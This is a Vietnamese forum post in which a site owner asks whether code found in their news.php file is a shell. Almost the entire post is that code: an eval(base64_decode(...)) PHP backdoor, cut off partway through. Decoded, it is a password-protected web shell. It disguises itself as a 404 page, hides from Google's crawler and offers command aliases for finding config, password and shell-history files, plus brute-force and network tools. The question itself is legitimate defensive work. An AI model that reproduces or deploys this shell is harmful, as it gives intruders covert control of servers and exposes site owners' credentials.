[MU] Đây có phải là shell?
Hello & Welcome to our community. Is this your first visit? Đăng Ký
Follow us on
Follow us on Facebook Follow us on Twitter Linked In Flickr Watch us on YouTube My Space Blogger
 
Trang 1 của 2 1 2 CuốiCuối
Kết quả 1 đến 10 của 12
  1. #1
    Thành Viên
    Ngày tham gia
    Aug 2006
    Bài viết
    422
    Thanks
    66
    Thanked 19 Times in 18 Posts

    Đây có phải là shell?

    trong file news.php ở phần news của mình có đoạn code như sau
    <?php eval(base64_decode('JGF1dGhfcGFzcyA9ICI0YTA5MTEzZj k4MzQyMmMyNGEwMjczNjM0MTlkMTdjZSI7IA0KJGNvbG9yID0g IiMwMGZmMDAiOyANCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc0 1hbic7IA0KQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18p OyANCmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0 VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7IA0KICAgIGhl YWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyANCiAgIC BleGl0OyANCn0gDQpAc2Vzc2lvbl9zdGFydCgpOyANCkBlcnJv cl9yZXBvcnRpbmcoMCk7IA0KQGluaV9zZXQoJ2Vycm9yX2xvZy csTlVMTCk7IA0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAN CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyANCk BzZXRfdGltZV9saW1pdCgwKTsgDQpAc2V0X21hZ2ljX3F1b3Rl c19ydW50aW1lKDApOyANCkBkZWZpbmUoJ1ZFUlNJT04nLCAnMi 4xJyk7IA0KaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7 IA0KICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYX JyYXkpIHsgDQogICAgICAgIHJldHVybiBpc19hcnJheSgkYXJy YXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLC AkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IA0KICAg IH0gDQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KC RfUE9TVCk7IA0KfSANCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7 IA0KICAgID8+IA0KPGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VG hlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlz IHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZS BTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4g UG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgIC AgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9y OiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgID wvc3R5bGU+IA0KICAgIDxjZW50ZXI+IA0KICAgIDxmb3JtIG1l dGhvZD1wb3N0PiANCiAgICA8aW5wdXQgdHlwZT1wYXNzd29yZC BuYW1lPXBhc3M+IA0KICAgIDwvZm9ybT48L2NlbnRlcj4gDQog ICAgPD9waHAgDQogICAgZXhpdDsgDQp9IA0KaWYoICFpc3NldC ggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10p XSApKSANCiAgICBpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fC ANCiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAm JiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcy ApICkgKSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZF UlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IA0KICAgIGVsc2UNCi AgICAgICAgcHJpbnRMb2dpbigpOyANCiANCmlmKCBzdHJ0b2xv d2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApIA 0KICAgICRvcyA9ICd3aW4nOyANCmVsc2UNCiAgICAkb3MgPSAn bml4JzsgDQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW 9kZScpOyANCiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0 KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyANCiRob21lX2N3ZCA9IE BnZXRjd2QoKTsgDQppZiggaXNzZXQoICRfUE9TVFsnYyddICkg KSANCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOyANCiRjd2QgPS BAZ2V0Y3dkKCk7IA0KaWYoICRvcyA9PSAnd2luJykgeyANCiAg ICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsIC Rob21lX2N3ZCk7IA0KICAgICRjd2QgPSBzdHJfcmVwbGFjZSgi XFwiLCAiLyIsICRjd2QpOyANCn0gDQppZiggJGN3ZFtzdHJsZW 4oJGN3ZCktMV0gIT0gJy8nICkgDQogICAgJGN3ZCAuPSAnLyc7 IA0KICAgICAgDQppZigkb3MgPT0gJ3dpbicpIA0KICAgICRhbG lhc2VzID0gYXJyYXkoIA0KICAgICAgICAiTGlzdCBEaXJlY3Rv cnkiID0+ICJkaXIiLCANCiAgICAgICAgIkZpbmQgaW5kZXgucG hwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGlu ZGV4LnBocCIsIA0KICAgICAgICAiRmluZCAqY29uZmlnKi5waH AgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNv bmZpZyoucGhwIiwgDQogICAgICAgICJTaG93IGFjdGl2ZSBjb2 5uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwgDQogICAgICAg ICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3Rhcn QiLCANCiAgICAgICAgIlVzZXIgYWNjb3VudHMiID0+ICJuZXQg dXNlciIsIA0KICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+IC JuZXQgdmlldyIsIA0KICAgICAgICAiQVJQIFRhYmxlIiA9PiAi YXJwIC1hIiwgDQogICAgICAgICJJUCBDb25maWd1cmF0aW9uIi A9PiAiaXBjb25maWcgL2FsbCINCiAgICApOyANCmVsc2UNCiAg ICAkYWxpYXNlcyA9IGFycmF5KCANCiAgICAgICAgICAiTGlzdC BkaXIiID0+ICJscyAtbGEiLCANCiAgICAgICAgImxpc3QgZmls ZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZG VkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsIA0KICAg ICAgICAgICJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YX QgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLCANCiAgICAgICAgIkZp bmQiID0+ICIiLCANCiAgICAgICAgICAiZmluZCBhbGwgc3VpZC BmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAw MCAtbHMiLCANCiAgICAgICAgICAiZmluZCBzdWlkIGZpbGVzIG luIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBl cm0gLTA0MDAwIC1scyIsDQogICAgICAgICAgImZpbmQgYWxsIH NnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAt MDIwMDAgLWxzIiwgDQogICAgICAgICAgImZpbmQgc2dpZCBmaW xlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBm IC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIG NvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBl IGYgLW5hbWUgY29uZmlnLmluYy5waHAiLCANCiAgICAgICAgIC AiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBl IGYgLW5hbWUgXCJjb25maWcqXCIiLCANCiAgICAgICAgICAiZm luZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAi ZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLCANCi AgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBh bmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwgDQ ogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMg YW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC 1wZXJtIC0yIC1scyIsIA0KICAgICAgICAgICJmaW5kIGFsbCBz ZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC 1uYW1lIHNlcnZpY2UucHdkIiwgDQogICAgICAgICAgImZpbmQg c2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+IC JmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsIA0K ICAgICAgICAgICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID 0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLCAN CiAgICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3 VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAu aHRwYXNzd2QiLCANCiAgICAgICAgICAiZmluZCBhbGwgLmJhc2 hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1u YW1lIC5iYXNoX2hpc3RvcnkiLCANCiAgICAgICAgICAiZmluZC AuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9 PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeS IsIA0KICAgICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMg ZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2 htYWlscmMiLCANCiAgICAgICAgICAiZmluZCAuZmV0Y2htYWls cmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLX R5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLCANCiAgICAgICAg IkxvY2F0ZSIgPT4gIiIsIA0KICAgICAgICAgICJsb2NhdGUgaH R0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25m IiwgDQogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZX MiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLCANCiAgICAgICAg ImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdG UgcHJvZnRwZC5jb25mIiwgDQogICAgICAgICJsb2NhdGUgcHN5 Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbm YiLCANCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9 PiAibG9jYXRlIG15LmNvbmYiLCANCiAgICAgICAgImxvY2F0ZS BhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAi LCANCiAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9Pi AibG9jYXRlIGNmZy5waHAiLCANCiAgICAgICAgImxvY2F0ZSBj b25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsIA 0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ ICJsb2NhdGUgY29uZmlnLmRhdCIsIA0KICAgICAgICAibG9jYX RlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmln LnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZm lsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsIA0KICAgICAg ICAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIG NvbmZpZy5pbmMucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29u ZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbm ZpZy5kZWZhdWx0LnBocCIsIA0KICAgICAgICAibG9jYXRlIGNv bmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsIA0KIC AgICAgICAibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAn LmNvbmYnIiwgDQogICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcy IgPT4gImxvY2F0ZSAnLnB3ZCciLCANCiAgICAgICAgImxvY2F0 ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsIA0KIC AgICAgICAibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxv Y2F0ZSAnLmh0cGFzc3dkJyIsIA0KICAgICAgICAibG9jYXRlIC 5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNo X2hpc3RvcnknIiwgDQogICAgICAgICJsb2NhdGUgLm15c3FsX2 hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0 b3J5JyIsIA0KICAgICAgICAibG9jYXRlIC5mZXRjaG1haWxyYy BmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsIA0K ICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2 F0ZSBiYWNrdXAiLCANCiAgICAgICAgImxvY2F0ZSBkdW1wIGZp bGVzIiA9PiAibG9jYXRlIGR1bXAiLCANCiAgICAgICAgImxvY2 F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiICAgIA0K ICAgICk7IA0KIA0KZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7IA 0KICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkgDQog ICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gIlVURi04IjsgDQ ogICAgZ2xvYmFsICRjb2xvcjsgDQogICAgPz4gDQo8aHRtbD48 aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIG NvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD08Pz0kX1BPU1Rb J2NoYXJzZXQnXT8+Jz48dGl0bGU+PD89JF9TRVJWRVJbJ0hUVF BfSE9TVCddPz4tIDQwNCBOb3QgRm91bmQgVi48Pz1WRVJTSU9O Pz4tPC90aXRsZT4gDQo8c3R5bGU+IA0KICAgIGJvZHkge2JhY2 tncm91bmQtY29sb3I6IzAwMDtjb2xvcjojZmZmO30gDQogICAg Ym9keSx0ZCx0aCAgICB7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZG FuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0gDQog ICAgc3BhbixoMSxhICAgIHsgY29sb3I6PD89JGNvbG9yPz4gIW ltcG9ydGFudDsgfSANCiAgICBzcGFuICAgICAgICB7IGZvbnQt d2VpZ2h0OiBib2xkZXI7IH0gDQogICAgaDEgICAgICAgICAgIC B7IGJvcmRlcjoxcHggc29saWQgPD89JGNvbG9yPz47cGFkZGlu ZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOj BweDsgfSANCiAgICBkaXYuY29udGVudCAgICB7IHBhZGRpbmc6 IDVweDttYXJnaW4tbGVmdDo1cHg7fSANCiAgICBhICAgICAgIC AgICAgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfSANCiAgICBh OmhvdmVyICAgICAgICB7IGJhY2tncm91bmQ6I2ZmMDAwMDsgfS ANCiAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQg IzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYX V0bzsgfSANCiAgICAuYmlnYXJlYSAgICB7IHdpZHRoOjEwMCU7 aGVpZ2h0OjI1MHB4OyB9IA0KICAgIGlucHV0LCB0ZXh0YXJlYS wgc2VsZWN0ICAgIHsgbWFyZ2luOjA7Y29sb3I6IzAwZmYwMDti YWNrZ3JvdW5kLWNvbG9yOiMwMDA7Ym9yZGVyOjFweCBzb2xpZC A8Pz0kY29sb3I/PjsgZm9udDogOXB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOy B9IA0KICAgIGZvcm0gICAgICAgIHsgbWFyZ2luOjBweDsgfSAN CiAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcj sgfSANCiAgICAudG9vbHNJbnAgICAgeyB3aWR0aDogODAlOyB9 IA0KICAgIC5tYWluIHRoICAgIHt0ZXh0LWFsaWduOmxlZnQ7fS ANCiAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9y OiM1ZTVlNWU7fSANCiAgICAubWFpbiB0ZCwgdGh7dmVydGljYW wtYWxpZ246bWlkZGxlO30gDQogICAgcHJlICAgICAgICAgICAg e2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30gDQogIC AgI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206 MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NH B4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9j dW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bW VudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVp Z2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW 50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1l bnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO3 0gDQo8L3N0eWxlPiANCjxzY3JpcHQ+IA0KICAgIGZ1bmN0aW9u IHNldChhLGMscDEscDIscDMsY2hhcnNldCkgeyANCiAgICAgIC AgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsg DQogICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLn ZhbHVlPWM7IA0KICAgICAgICBpZihwMSAhPSBudWxsKWRvY3Vt ZW50Lm1mLnAxLnZhbHVlPXAxOyANCiAgICAgICAgaWYocDIgIT 0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsgDQogICAg ICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdW U9cDM7IA0KICAgICAgICBpZihjaGFyc2V0ICE9IG51bGwpZG9j dW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0OyANCiAgIC B9IA0KICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJz ZXQpIHsgDQogICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcn NldCk7IA0KICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsg DQogICAgfSANCiAgICBmdW5jdGlvbiBhKGEsYyxwMSxwMixwMy xjaGFyc2V0KSB7IA0KICAgICAgICBzZXQoYSxjLHAxLHAyLHAz LGNoYXJzZXQpOyANCiAgICAgICAgdmFyIHBhcmFtcyA9ICJham F4PXRydWUiOyANCiAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50 Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspIA0KICAgICAgICAgIC AgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tp XS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbn QubWYuZWxlbWVudHNbaV0udmFsdWUpOyANCiAgICAgICAgc3Io Jzw/PSRfU0VSVkVSWydSRVFVRVNUX1VSSSddOz8+JywgcGFyYW1zKT sgDQogICAgfSANCiAgICBmdW5jdGlvbiBzcih1cmwsIHBhcmFt cykgeyAgICAgDQogICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cF JlcXVlc3QpIHsgDQogICAgICAgICAgICByZXEgPSBuZXcgWE1M SHR0cFJlcXVlc3QoKTsgDQogICAgICAgICAgICByZXEub25yZW FkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsgDQog ICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZS k7IA0KICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIg KCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm 9ybS11cmxlbmNvZGVkIik7IA0KICAgICAgICAgICAgcmVxLnNl bmQocGFyYW1zKTsgDQogICAgICAgIH0gIA0KICAgICAgICBlbH NlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgeyANCiAgICAg ICAgICAgIHJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3 NvZnQuWE1MSFRUUCIpOyANCiAgICAgICAgICAgIGlmIChyZXEp IHsgDQogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZW NoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7IA0KICAgICAgICAg ICAgICAgIHJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsgDQ ogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIg KCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm 9ybS11cmxlbmNvZGVkIik7IA0KICAgICAgICAgICAgICAgIHJl cS5zZW5kKHBhcmFtcyk7IA0KICAgICAgICAgICAgfSANCiAgIC AgICAgfSANCiAgICB9IA0KICAgIGZ1bmN0aW9uIHByb2Nlc3NS ZXFDaGFuZ2UoKSB7IA0KICAgICAgICBpZiggKHJlcS5yZWFkeV N0YXRlID09IDQpICkgDQogICAgICAgICAgICBpZihyZXEuc3Rh dHVzID09IDIwMCkgeyANCiAgICAgICAgICAgICAgICAvL2FsZX J0KHJlcS5yZXNwb25zZVRleHQpOyANCiAgICAgICAgICAgICAg ICB2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKFxcZCspKFtcXFNcXH NdKikiLCAibSIpOyANCiAgICAgICAgICAgICAgICB2YXIgYXJy PXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOyANCiAgICAgIC AgICAgICAgICBldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFd KSk7IA0KICAgICAgICAgICAgfSAgDQogICAgICAgICAgICBlbH NlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOyANCiAgICB9IA0K PC9zY3JpcHQ+IA0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG 9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0 OjA7Ij4gDQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eW xlPSdkaXNwbGF5Om5vbmU7Jz4gDQo8aW5wdXQgdHlwZT1oaWRk ZW4gbmFtZT1hIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2EnXS k/JF9QT1NUWydhJ106Jyc/Pic+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT 0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10p Pz4nPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbH VlPSc8Pz1pc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFs Y2hhcnMoJF9QT1NUWydwMSddKTonJz8+Jz4gDQo8aW5wdXQgdH lwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nPD89aXNzZXQoJF9Q T1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncD InXSk6Jyc/Pic+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdW U9Jzw/PWlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnPz4nPi ANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFs dWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYX JzZXQnXTonJz8+Jz4gDQo8L2Zvcm0+IA0KPD9waHAgDQogICAg JGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWy djd2QnXSk7IA0KICAgICR0b3RhbFNwYWNlID0gQGRpc2tfdG90 YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJHRvdG FsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOyAN CiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsgDQogIC AgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsgDQogICAgJG1p bGxpbms9J2h0dHA6Ly9taWx3MHJtLmNvbS9zZWFyY2gucGhwP2 Rvbmc9JzsgDQogICAgaWYoIHN0cnBvcygnTGludXgnLCAka2Vy bmVsKSAhPT0gZmFsc2UgKSANCiAgICAgICAgJG1pbGxpbmsgLj 0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIo JHJlbGVhc2UsMCw2KSApOyANCiAgICBlbHNlDQogICAgICAgIC RtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAu IHN1YnN0cigkcmVsZWFzZSwwLDMpICk7IA0KICAgIGlmKCFmdW 5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgeyANCiAg ICAgICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOyANCi AgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOyANCiAgICAgICAg JGdpZCA9IEBnZXRteWdpZCgpOyANCiAgICAgICAgJGdyb3VwID 0gIj8iOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgJHVpZCA9 IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsgDQ ogICAgICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4 X2dldGVnaWQoKSk7IA0KICAgICAgICAkdXNlciA9ICR1aWRbJ2 5hbWUnXTsgDQogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsg DQogICAgICAgICRncm91cCA9ICRnaWRbJ25hbWUnXTsgDQogIC AgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsgDQogICAgfSANCiAg ICAkY3dkX2xpbmtzID0gJyc7IA0KICAgICRwYXRoID0gZXhwbG 9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7IA0KICAgICRuPWNv dW50KCRwYXRoKTsgDQogICAgZm9yKCRpPTA7JGk8JG4tMTskaS srKSB7IA0KICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVm PScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7IA0KIC AgICAgICBmb3IoJGo9MDskajw9JGk7JGorKykgDQogICAgICAg ICAgICAkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7IA0KIC AgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGld LiIvPC9hPiI7IA0KICAgIH0gDQogICAgJGNoYXJzZXRzID0gYX JyYXkoJ1VURi04JywgJ1dpbmRvd3MtMTI1MScsICdLT0k4LVIn LCAnS09JOC1VJywgJ2NwODY2Jyk7IA0KICAgICRvcHRfY2hhcn NldHMgPSAnJzsgDQogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMg JGl0ZW0pIA0KICAgICAgICAkb3B0X2NoYXJzZXRzIC49ICc8b3 B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hh cnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW 0uJzwvb3B0aW9uPic7IA0KICAgICRtID0gYXJyYXkoJ1NlYy4g SW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLC dDb25zb2xlJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUGhw Jz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZlTW9kZScsJ1N0cm luZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2Un PT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOy ANCiAgICBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcydd KSkgDQogICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7IA0KIC AgICRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOyAN CiAgICAkbWVudSA9ICcnOyANCiAgICBmb3JlYWNoKCRtIGFzIC RrID0+ICR2KSANCiAgICAgICAgJG1lbnUgLj0gJzx0aCB3aWR0 aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocm VmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wn 